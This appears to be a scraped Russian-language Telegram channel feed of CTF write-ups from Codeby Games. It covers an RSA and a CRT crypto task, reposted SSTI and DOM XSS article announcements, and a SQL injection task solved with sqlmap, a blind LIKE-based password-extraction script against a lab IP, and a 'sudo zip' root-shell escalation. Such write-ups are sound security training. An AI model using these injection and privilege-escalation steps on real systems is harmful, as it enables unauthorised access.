#crypto
Веселый RSA
От @Max_RSC (ТОП-10 на платформе Codeby Games)
Ссылка на задание
Даны три шифртекста, которые представляют собой одно и то же сообщение. Подсказка намекает, что Боб плохо разбирается в RSA, поэтому при шифровании допустил серьезную ошибку. Действительно, мы видим, что вместо стандартной экспоненты e = 65537 он использовал значения 5, 7 и 13, a модули n1, n2 и n3 настолько малы, что с легкостью раскладываются на множители. Это можно назвать критической уязвимостью.
Если мы возьмем первое по счету сообщение и попробуем вычислить приватную экспоненту d, то поймем, что это невозможно:
На простом языке это означает, что в процессе шифрования пользователь допустил фатальную ошибку.
Возьмем второе по счету сообщение и попробуем найти приватную экспоненту d – то же самое:
Возьмем третье по счету сообщение. Похоже, что это сообщение было зашифровано правильно, а значит, можно вычислить d:
После нахождения d мы с легкостью расшифровываем шифртекст:
Мы получили трехзначное число, которое, разумеется, я вам не покажу, чтобы вы не жульничали, а решили таск самостоятельно и следовательно, научились чему-нибудь новому.
Считаем от этого числа хеш-сумму по алгоритму SHA256:
Получившуюся строку обoрачиваем в CODEBY и сдаем флаг.
#codebygames
Веселый RSA
От @Max_RSC (ТОП-10 на платформе Codeby Games)
Ссылка на задание
Даны три шифртекста, которые представляют собой одно и то же сообщение. Подсказка намекает, что Боб плохо разбирается в RSA, поэтому при шифровании допустил серьезную ошибку. Действительно, мы видим, что вместо стандартной экспоненты e = 65537 он использовал значения 5, 7 и 13, a модули n1, n2 и n3 настолько малы, что с легкостью раскладываются на множители. Это можно назвать критической уязвимостью.
Если мы возьмем первое по счету сообщение и попробуем вычислить приватную экспоненту d, то поймем, что это невозможно:
>>> d = pow(e, -1, phi)
Traceback (most recent call last): File "<stdin>", line 1, in <module> ValueError: base is not invertible for the given modulus
На простом языке это означает, что в процессе шифрования пользователь допустил фатальную ошибку.
Возьмем второе по счету сообщение и попробуем найти приватную экспоненту d – то же самое:
>>> d = pow(e, -1, phi)
Traceback (most recent call last): File "<stdin>", line 1, in <module> ValueError: base is not invertible for the given modulus
Возьмем третье по счету сообщение. Похоже, что это сообщение было зашифровано правильно, а значит, можно вычислить d:
>>> d = pow(e, -1, phi)
>>> d
# 288613
После нахождения d мы с легкостью расшифровываем шифртекст:
>>> message = pow(c, d, n)
Мы получили трехзначное число, которое, разумеется, я вам не покажу, чтобы вы не жульничали, а решили таск самостоятельно и следовательно, научились чему-нибудь новому.
Считаем от этого числа хеш-сумму по алгоритму SHA256:
>>> from hashlib import sha256
>>> result = sha256(str(message).encode()).hexdigest()
Получившуюся строку обoрачиваем в CODEBY и сдаем флаг.
#codebygames
❤9🔥2
Forwarded from Purple Chronicles (Hunter Biden)
Эксплуатация SSTI в приложениях на Flask+Jinja2🐍
https://telegra.ph/SSTI-exploitation-05-02
В этой статье мы поговорим о том, что такое SSTI, как найти эту уязвимость, верифицировать шаблонизатор и сконфигурировать полезную нагрузку для получения RCE!😤
Мы также познакомимся с инструментами, помогающими автоматизировать процесс эксплуатации, которые можно смело забирать в свой арсенал, а для закрепления полученных знаний решим таск с платформы CodeBy Games🚩
#пентест #web #ssti
https://telegra.ph/SSTI-exploitation-05-02
В этой статье мы поговорим о том, что такое SSTI, как найти эту уязвимость, верифицировать шаблонизатор и сконфигурировать полезную нагрузку для получения RCE!
Мы также познакомимся с инструментами, помогающими автоматизировать процесс эксплуатации, которые можно смело забирать в свой арсенал, а для закрепления полученных знаний решим таск с платформы CodeBy Games
#пентест #web #ssti
Please open Telegram to view this post
VIEW IN TELEGRAM
Telegraph
SSTI exploitation
Всем привет! Сегодня мы на простом примере довольно подробно разберём уязвимость SSTI и закрепим изученный материал, решив несложный таск на платформе CodeBy Games тремя способами.
⚡4🔥2👏1
#криптография
Искусство войны от @exited3n, автора канала @pt_soft
Сложность: легкий
Ссылка на задание
#codebygames
Искусство войны от @exited3n, автора канала @pt_soft
Сложность: легкий
Ссылка на задание
from Crypto.Util.number import long_to_bytes
def inv(a, m):
m0 = m
x0 = 0
x1 = 1
if m == 1:
return 0
while a > 1:
q = a // m
t = m
m = a % m
a = t
t = x0
x0 = x1 - q * x0
x1 = t
if x1 < 0:
x1 = x1 + m0
return x1
def findMinX(num, rem, k):
prod = 1
for i in range(0, k):
prod = prod * num[i]
result = 0
for i in range(0, k):
pp = prod // num[i]
result = result + rem[i] * inv(pp, num[i]) * pp
return result % prod
rem = [7, 4, 9]
num = [17, 23, 37]
k = len(num)
a = findMinX(num, rem, k)
cipher_text = 25183524468752482838730336135334402772668615375346038
flag = cipher_text ^ a
print("a ==", a)
print(long_to_bytes(flag).decode('UTF-8'))
#codebygames
🔥8❤1🤬1
Forwarded from wr3dmast3r vs pentest
Знакомимся с DOOM DOM Invader, или как найти DOM-XSS на Habr во время написания статьи 😔
Сегодня поговорим про инструмент DOM Invader, узнаем некоторые причины появления DOM-уязвимостей и проанализируем несколько примеров уязвимого JavaScript-кода🖼️
Также вы узнаете, какой потенциальный импакт можно показывать команде BugBounty для получения выплаты за Client-Side уязвимость👀
Подробнее
Сегодня поговорим про инструмент DOM Invader, узнаем некоторые причины появления DOM-уязвимостей и проанализируем несколько примеров уязвимого JavaScript-кода
Также вы узнаете, какой потенциальный импакт можно показывать команде BugBounty для получения выплаты за Client-Side уязвимость
Подробнее
Please open Telegram to view this post
VIEW IN TELEGRAM
Хабр
Осваиваем DOM Invader: ищем DOM XSS и Prototype Pollution на примере пяти лабораторных и одной уязвимости на Хабре
Привет, Хабр! Сегодня мы познакомимся с DOM XSS и Prototype Pollution, рассмотрим примеры уязвимостей на Bug Bounty и научимся использовать инструмент DOM Invader, который заметно упростит поиск таких...
❤🔥2❤1
Forwarded from KarKarichCTF
#квесты
Секретный кабинет от @karkarich_1, автора канала @KARkarich37
Сложность: легкий
Ссылка на задание
В задании дается хост и два порта: на одном из них веб сервис, а на другом ssh. Смотрим на сервис и видим форму для отправки пароля при этом форма отправляет еще и имя пользователя “josh”. Тогда запустим sqlmap и посмотрим, что он выводит. Sqlmap говорит, что password неуязвим, а вот username да!
Получается залогинится под Джоном, но на страничке все равно ничего нет( Тогда попробуем извлечь из БД его пароль, используя LIKE, чтобы залогиниться через ssh. Я это делал вот этим скриптом:
Видим, что можем выполнять команду zip от рута. Далее повышаем привилегии и все!
Секретный кабинет от @karkarich_1, автора канала @KARkarich37
Сложность: легкий
Ссылка на задание
В задании дается хост и два порта: на одном из них веб сервис, а на другом ssh. Смотрим на сервис и видим форму для отправки пароля при этом форма отправляет еще и имя пользователя “josh”. Тогда запустим sqlmap и посмотрим, что он выводит. Sqlmap говорит, что password неуязвим, а вот username да!
sqlmap -u "http://62.173.140.174:28780/login.php" --data "username=josh&password=asd" --method POST
Получается залогинится под Джоном, но на страничке все равно ничего нет( Тогда попробуем извлечь из БД его пароль, используя LIKE, чтобы залогиниться через ssh. Я это делал вот этим скриптом:
В итоге получаем хэш пароля и через crackstation.net подбираем сам пароль. Далее подключаемся по ssh и сразу прописываемimport requests as r
from string import printable
s = r.Session()
r0 = s.get("http://62.173.140.174:28780/login.php")
r1 = s.post("http://62.173.140.174:28780/login.php", data={"username":"josh", "password":"a"}).text
pas = ''
f = 1
while f:
f = 0
for i in printable:
if i in ["%", "_"]: continue
r2 = s.post("http://62.173.140.174:28780/login.php", data={"username":f"josh' AND password LIKE '{pas+i}%' #", "password":"a"}).text
if r2 != r1:
pas+=i
f = 1
break
print(pas)
sudo -l
Видим, что можем выполнять команду zip от рута. Далее повышаем привилегии и все!
TF=$(mktemp -u)
sudo zip $TF /etc/hosts -T -TT 'sh #'
sudo rm $TF
🔥6🤯2
Forwarded from infosec
• Очень объемное руководство, которое поможет вам разобраться в основах работы Wi-Fi:
#CheatSheet #WiFi
Please open Telegram to view this post
VIEW IN TELEGRAM
👍8
Когда нашел всё:
Слитые пароли
Все никнеймы
Все айди
Админки
Почтовые клиенты
Мертвого слона
Обошёл все проверки на брут
Но не флаг.
Слитые пароли
Все никнеймы
Все айди
Админки
Почтовые клиенты
Мертвого слона
Обошёл все проверки на брут
Но не флаг.
Хочу признаться, когда я решал первый таск, у меня не получалось найти флаг, но зато, я нашёл ЭТОТ ШЕДЕВР. Я просто орал в голос
https://www.youtube.com/watch?v=wmHT6mu6B_0
https://www.youtube.com/watch?v=wmHT6mu6B_0
YouTube
Рубероид - Саша Серун - маменькин сынок / Все пранки
Рубероид - легендарный персонаж пранков, однажды насрал в подьезде и уже на протяжении нескольких лет отказывается отвечать за свой поступок
Телеграм - https://t.me/+UbozIDsfkVbhzYRa
Телеграм - https://t.me/+UbozIDsfkVbhzYRa
👍4
Потихоньку решаем задачки!
Могу сказать, что CTF крайне приятный. Организаторы подошли к таскам творчески, чувствуется атмосфера Just for Fun. Есть маленькие недочётики, но куда без них, согласитесь?
Надеюсь, что разбор тасков обязательно будет, может даже с видео!
Обязательно дам развернутую и правильную обратную связь по окончанию мероприятия. Если у вас есть что сказать, обязательно пишите. Все будут услышаны!
Могу сказать, что CTF крайне приятный. Организаторы подошли к таскам творчески, чувствуется атмосфера Just for Fun. Есть маленькие недочётики, но куда без них, согласитесь?
Надеюсь, что разбор тасков обязательно будет, может даже с видео!
Обязательно дам развернутую и правильную обратную связь по окончанию мероприятия. Если у вас есть что сказать, обязательно пишите. Все будут услышаны!
❤11👍1🔥1😴1💊1
Forwarded from Сашка Котофей
Ахахаха, глупый осинтер!!!! Я неуловоим!!!!!!